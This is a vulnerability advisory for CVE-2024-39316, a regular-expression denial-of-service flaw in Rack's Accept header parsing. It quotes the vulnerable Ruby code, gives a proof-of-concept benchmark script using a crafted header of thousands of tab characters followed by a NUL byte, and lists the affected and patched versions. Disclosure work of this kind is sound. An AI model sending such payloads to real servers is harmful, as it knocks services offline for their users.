CVE-2024-39316: Regular Expression Denial-of-Service (ReDoS) in Rack

- 5 mins

Summary

A Regular Expression Denial of Service (ReDoS) vulnerability exists in the Rack::Request::Helpers module when parsing HTTP Accept headers. This vulnerability can be exploited by an attacker sending specially crafted Accept-Encoding or Accept-Language headers, causing the server to spend excessive time processing the request and leading to a Denial of Service (DoS).

Details

The vulnerability is located in the parse_http_accept_header method, which uses regular expressions to split and parse the headers. When given a malicious input containing a large number of whitespace chars followed by a NULL, the regular expression matching becomes extremely slow, leading to a ReDoS attack.

Vulnerable code in lib/rack/request.rb at line 637-646:

  def parse_http_accept_header(header)
    header.to_s.split(/\s*,\s*/).map do |part|
      attribute, parameters = part.split(/\s*;\s*/, 2)
      quality = 1.0
      if parameters and /\Aq=([\d.]+)/ =~ parameters
        quality = $1.to_f
      end
      [attribute, quality]
    end
  end

This method is used by the accept_encoding (lib/rack/request.rb:607-609) and accept_language (lib/rack/request.rb:611-613) methods:

  def accept_encoding
    parse_http_accept_header(get_header("HTTP_ACCEPT_ENCODING"))
  end
  def accept_language
    parse_http_accept_header(get_header("HTTP_ACCEPT_LANGUAGE"))
  end

accept_encoding is also occurs during the Rack::Deflater initialization (lib/rack/deflater.rb:55-56).

  encoding = Utils.select_best_encoding(%w(gzip identity),
                                        request.accept_encoding)

Proof of Concept

To replicate this vulnerability, execute the following Ruby code:

require 'benchmark'
require 'rack'

class ParseHttpAcceptHeader
  def call(env)
    request = Rack::Request.new(env)

    encoding = request.accept_encoding
    language = request.accept_language

    response_body = "Accepted Encodings: #{encoding.join(', ')}\n" +
      "Accepted Languages: #{language.join(', ')}"

    [200, { 'Content-Type' => 'text/plain' }, [response_body]]
  end
end

class AppWithDeflater
  def call(env)
    response_body = "This is a response that will be compressed if the client supports it."

    [200, { 'Content-Type' => 'text/plain' }, [response_body]]
  end
end

app = ParseHttpAcceptHeader.new
app_with_deflater = Rack::Builder.new do
  use Rack::Deflater
  run AppWithDeflater.new
end

mock_env1 = Rack::MockRequest.env_for(
  '/',
  'HTTP_ACCEPT_ENCODING' => ("\t" * 31337) + "\x00, gzip, deflate",
  'HTTP_ACCEPT_LANGUAGE' => 'en-US, en;q=0.9, id;q=0.8'
)

mock_env2 = Rack::MockRequest.env_for(
  '/',
  'HTTP_ACCEPT_ENCODING' => 'gzip, deflate',
  'HTTP_ACCEPT_LANGUAGE' => ("\t" * 31337) + "\x00;en-US, en;q=0.9, id;q=0.8"
)

Benchmark.bm do |x|
  x.report("HTTP_ACCEPT_ENCODING") do
    1000.times do
      app.call(mock_env1)
    end
  end

  x.report("HTTP_ACCEPT_LANGUAGE") do
    1000.times do
      app.call(mock_env2)
    end
  end

  x.report("HTTP_ACCEPT_ENCODING_2") do
    1000.times do
      app_with_deflater.call(mock_env1)
    end
  end
end

By running that code, you can observe the performance implications on the server when handling such maliciously crafted HTTP headers. The first two scenarios test the impact of large and malformed HTTP_ACCEPT_ENCODING and HTTP_ACCEPT_LANGUAGE headers, respectively. The third scenario tests the vulnerability’s effect when the deflater middleware is applied specifically to the HTTP_ACCEPT_ENCODING header. Note that these scenarios are simulated using mocked environments for demonstration purposes.

Impact

Any unauthenticated user could exploit this vulnerability in apps that explicitly call the accept_encoding and accept_language methods of the Rack::Request::Helpers module, as well as implicitly in apps using middleware such as Rack::Deflater or the Action Pack gem. By sending specially crafted requests, an attacker could cause the server to spend excessive time processing the request, potentially making the server unavailable.

Affected versions

This vulnerability affects Rack versions greater than 3.0.0 and up to and including 3.1.4.

Patched versions

This vulnerability is fixed in Rack version 3.1.5 and later.

Timeline (GMT+7)

References